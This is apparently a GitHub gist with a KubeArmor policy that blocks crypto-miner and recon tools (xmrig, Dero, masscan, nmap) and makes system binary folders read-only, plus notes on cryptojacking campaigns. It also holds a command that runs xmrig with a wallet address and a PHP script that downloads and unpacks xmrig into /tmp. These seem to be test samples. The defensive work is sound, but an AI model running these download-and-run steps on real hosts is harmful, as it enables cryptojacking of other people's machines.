Last active
March 22, 2024 10:20
-
-
Save nyrahul/871bba33b9cbdee901175fe65091c101 to your computer and use it in GitHub Desktop.
KubeArmor policy template for preventing crypto miners execution
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
apiVersion: security.kubearmor.com/v1 | |
kind: KubeArmorPolicy | |
metadata: | |
name: prevent-crypto-miners | |
spec: | |
selector: | |
matchLabels: | |
app: wordpress | |
action: Block | |
process: | |
matchDirectories: | |
- dir: /tmp/ | |
recursive: true | |
matchPaths: | |
# do not allow execution of xmrig (xmrig.com) | |
- execname: xmrig | |
# prevent execution of Dero miner | |
- execname: dero | |
- execname: dero-miner-linux-amd64 | |
- execname: dero-wallet-cli-linux-amd64 | |
- execname: derod-linux-amd64 | |
# do not allow execution of masscan/zgrab2/nmap used for recon | |
- execname: zgrab2 | |
- execname: masscan | |
- execname: nmap | |
# do not allow package management tools execution | |
- execname: apt | |
- execname: apk | |
# time sync is important for miners. typically ntpdate is used. | |
- execname: ntpdate | |
# Do not allow overwriting system binaries | |
file: | |
matchDirectories: | |
- dir: /usr/local/bin/ | |
readOnly: true | |
recursive: true | |
- dir: /sbin/ | |
readOnly: true | |
recursive: true | |
- dir: /bin/ | |
readOnly: true | |
recursive: true | |
- dir: /usr/bin/ | |
readOnly: true | |
recursive: true | |
- dir: /var/local/bin/ | |
readOnly: true | |
recursive: true | |
- dir: /boot/ | |
readOnly: true | |
recursive: true | |
message: cryptominer detected and blocked | |
severity: 10 | |
tags: | |
- cryptominer |
; nohup /tmp/xmrig-6.21.1/xmrig 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD
<?php
// maximum execution time in seconds
set_time_limit (24 * 60 * 60);
// folder to save downloaded files to. must end with slash
$destination_folder = '/tmp/';
$url = "https://github.com/xmrig/xmrig/releases/download/v6.21.1/xmrig-6.21.1-linux-static-x64.tar.gz";
$newfname = $destination_folder . basename($url);
$file = fopen ($url, "rb");
if ($file) {
$newf = fopen ($newfname, "wb");
if ($newf)
while(!feof($file)) {
fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );
}
}
if ($file) {
fclose($file);
}
if ($newf) {
fclose($newf);
}
$ret = exec('tar xf ' . $newfname.' -C /tmp' , $output, $error);
// Debug
var_dump($ret);
var_dump($output);
var_dump($error);
$ret = exec('whoami', $output, $error);
// Debug
echo "dddd";
var_dump($ret);
var_dump($output);
var_dump($error);
?>
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Cryptomining prevention
Common Traits among all k8s based crypto miners:
/tmp/
for miner tools loading/execution./tmp/
is the folder that is mostly allowed to be written into because most apps write temporary files in there.ntpdate
for date/time sync. [done]Dero Miner
Ref: https://thehackernews.com/2023/03/new-cryptojacking-operation-targeting.html
Targeted KubeArmor Policy:
PwnRig miner
Ref: https://thehackernews.com/2022/06/microsoft-warns-of-cryptomining-malware.html
Ref: https://www.lacework.com/blog/8220-gangs-recent-use-of-custom-miner-and-botnet/
masscan
dynamically to scan for exposed Docker APIsTeamTNT SilentBob
Ref: https://thehackernews.com/2023/07/silentbob-campaign-cloud-native.html
masscan
dynamically to scan for exposed Docker APIsKubeArmor Zero Trust Protection:
Approaches taken by others